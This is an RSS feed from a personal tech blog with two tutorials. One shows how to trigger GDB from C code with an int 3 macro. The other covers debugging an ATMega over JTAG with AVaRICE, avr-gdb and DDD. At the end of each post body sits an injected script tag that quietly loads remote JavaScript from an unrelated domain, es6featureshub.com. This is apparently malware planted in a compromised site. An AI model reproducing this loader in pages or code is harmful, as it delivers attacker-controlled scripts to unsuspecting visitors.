<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; gdb</title>
	<atom:link href="http://www.larsen-b.com/tags/gdb/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Calling GDB (Gnu debugger) within your code.</title>
		<link>http://www.larsen-b.com/Article/393.html</link>
		<comments>http://www.larsen-b.com/Article/393.html#comments</comments>
		<pubDate>Sat, 20 Aug 2011 12:19:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=393</guid>
		<description><![CDATA[I spent a lot of time finding the right way to do this, so here is a quick note. For work, I need to debug a small piece of code I wrote. But the main software (closed source) load my &#8230; <a href="http://www.larsen-b.com/Article/393.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent a lot of time finding the right way to do this, so here is a quick note. For work, I need to debug a small piece of code I wrote. But the main software (closed source) load my library (via dlopen) and run it in a single thread.</p>
<p>That&#8217;s fine, but I&#8217;m unable to debug this part of the code because I&#8217;m unable to place a breakpoint. So I want to place a &#8220;break&#8221; in my code that&#8217;s return back to GDB. (exactly like you can launch the debugger within Python w/ a simple pdb.set_trace().</p>
<p>This is quite easy to do, and really useful but not really popular. The main trick is to call the interrupt number 3. This will rise a SIGTRAP signal in the Linux kernel that GDB can intercept .. so in your code simply add a macro :</p>
<pre>#define GDB()  asm("int $0x3")
int main()
{
 int a = 12;
 GDB();
 printf("A ==&gt; %u \n",a);
 return 0;   
}</pre>
<p><br/><br />
Call the GDB(); macro in your code, compile it with gcc -g, simply run your program in GDB, and wait for the macro to be called :)</p>
<p><strong><em>/Enjoy gdb</em></strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/393.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Howto use AVR Dragon Jtag on Linux (Avarice + avr-gdb +DDD)</title>
		<link>http://www.larsen-b.com/Article/315.html</link>
		<comments>http://www.larsen-b.com/Article/315.html#comments</comments>
		<pubDate>Sun, 30 Nov 2008 15:45:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=315</guid>
		<description><![CDATA[I bought a couple of months ago a little AVR Dragon card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc &#8230; <a href="http://www.larsen-b.com/Article/315.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I bought a couple of months ago a little <a href="http://www.atmel.com/dyn/Products/tools_card.asp?tool_id=3891">AVR Dragon</a> card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc on this topic. So, here we are ;)</p>
<p>The AVR Dragon is nice because you can use it as a small developpement device without any other requirement: Simply drop the needed ATMega on the board, some little wrapping for : Jtag + power supply.</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/pb163528?full=1"><img class="alignnone" title="AVR Dragon + ATMega 16" src="http://jkx.larsen-b.com/photos/blog/pb163528.sized.jpg" alt="" width="640" height="410" /></a></p>
<p>As you can see, this is compact and nothing else is needed. The power supply come from the USB port, and I soldered a DIP on the board.. and that&#8217;s it.</p>
<p>I use the Jtag connector, so now I can use a real debugger instead of playing with the UART. Simply put a breakpoint, and enjoy :) By this way, I figure out that most of the time I simply push some stuff in arrays, and inspect them with debugger. This is really efficient. For example, last week I need to fix a timing issue with a IR sensor, simply wrap the little board, and push all interrupts in a array with the related timing. Of course, this can be done with a serial connection too, but it will take more time, and even worst if you encounter a bug, you will have to find where is it (the UART printf, or the code itself) ..</p>
<h4>So, how to use this with a Linux OS ?</h4>
<p>First you need to use <a href="http://avarice.sourceforge.net/">AVaRICE</a> to program the ATMega with a command like this :</p>
<pre>avarice -g -j usb --erase --program --file main.hex :4242</pre>
<p>Here the result:</p>
<p><img class="alignnone" title="Avarice" src="http://jkx.larsen-b.com/photos/blog/avarice.sized.jpg" alt="" width="640" height="476" /></p>
<p>AVaRICE flash the hex file to the ATMega, and wait for a <a href="http://en.wikipedia.org/wiki/GNU_Debugger">GDB</a> connection on port 4242. GDB is fine, but not really visual ;)</p>
<p>Let&#8217;s take a look at <a href="http://www.gnu.org/software/ddd/">DDD</a></p>
<p>To use DDD with avr-gdb (the gdb for AVR), you need to edit a config file, for example gdb.conf and put this in :</p>
<pre>file main.out
target remote localhost:4242</pre>
<p>And the final command, just launch DDD like this :</p>
<pre>ddd --debugger "avr-gdb -x gdb.conf"</pre>
<p>Next step: Simply place some breakpoint, and the press &#8220;Cont&#8221; inue button in DDD. Et voilà :</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/ddd?full=1"><img class="alignnone" title="DDD" src="http://jkx.larsen-b.com/photos/blog/ddd.sized.jpg" alt="" width="438" height="640" /></a></p>
<p>I hope this little tuto will help people looking for a nice AVR debuger for the AVR on Linux (or any OSS system). The AVR Dragon is definitively a must have for low budget user in AVR scene.</p>
<p><strong>Enjoy bug ? :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/315.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
